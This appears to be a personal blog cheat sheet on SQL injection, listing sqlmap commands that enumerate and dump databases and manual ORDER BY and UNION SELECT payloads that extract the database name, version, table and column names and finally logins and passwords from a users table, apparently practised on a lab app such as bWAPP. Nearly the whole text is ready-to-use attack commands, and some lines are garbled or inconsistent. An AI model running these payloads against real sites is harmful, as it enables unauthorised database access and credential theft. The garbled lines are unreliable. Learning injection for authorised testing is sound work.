SQLMap | Shahul Hameed
SQLMap
We have to copy the request from the burp suite and paste it into the .txt file format.
Type -1
Safest technique:
level 1 & risk 1
level 1 & risk 2
level 2 & risk 1
level 2 & risk 2
Commands:
sqlmap -r test.txt --banner
sqlmap -r test.txt --banner --level 2 --risk 1
sqlmap -r test.txt --banner --dbms=PostgreSQL --level 2 --risk 1 => if you found database
sqlmap -r test.txt --banner --dbms=PostgreSQL --level 2 --risk 1
Type -2
Error based SQL - Injection
https://testdemo.com/sports.php?id=1'
https://testdemo.com/sports.php?id=2-1
https://testdemo.com/sports.php?id=3-1
https://testdemo.com/sports.php?id=1_sleep(11)
SQLmap TOOL:
python sqlmap.py -u https://testdemo.com/sports.php?id=1 --dbs
sqlmap -u https://testdemo.com/sports.php?id=1 --dbs
sqlmap -u https://testdemo.com/sports.php?id=1 acuart --tables
sqlmap -u https://testdemo.com/sports.php?id=1 acuart --tables users --dump
Email = SELECT*FROM users WHERE username='or 1=1--' password='qwerty'
password=hdgsjhgjhsdgjj
ORDER based SQL injection:
# or --
php?movie=3' order by 1# ==> Error
Try add (-)
php?movie=-3' order by 1# ==> Error
' order by 1# ==> no error
' order by 2# ==> no error
' order by 3# ==> no error
|
|
' order by 7# ==> no error
' order by 8# ==> Error. maksudnya ada 7 columns in the table.
(OR)
Put inside search box:
php?movie=3' UNION SELECT 'A','A','A','A','A','A','A'#
' UNION SELECT 'A','A','A','A','A','A','A'#
' UNION SELECT 'A',database(),'A','A','A','A','A'# ==> bwapp
' UNION SELECT 'A',version(),'A','A','A','A','A'# ==> 5.547-0 ubuntu
version() ==> postgresql
' UNION SELECT 'A',user(),'A','A','A','A','A'#
' UNION SELECT 1,2,3,table_name,5,6,7 FROM information_schema.tables#
Result=users
' UNION SELECT 1,2,3,column_name,5,6,7 FROM information_schema.columns WHERE table_name = 'users'#
' UNION SELECT 1,id,login,password,email,6,7 FROM users#
Type-3
Copy the request from burp suite
1. Capture the request which found a vulnerable sql injection variable.
2. Copy and paste into notepad(request.txt).
3. $ sqlmap -r request.txt -p movie --dbs
$ sqlmap -r request.txt -p movie --dbs --dump
Comments
Post a Comment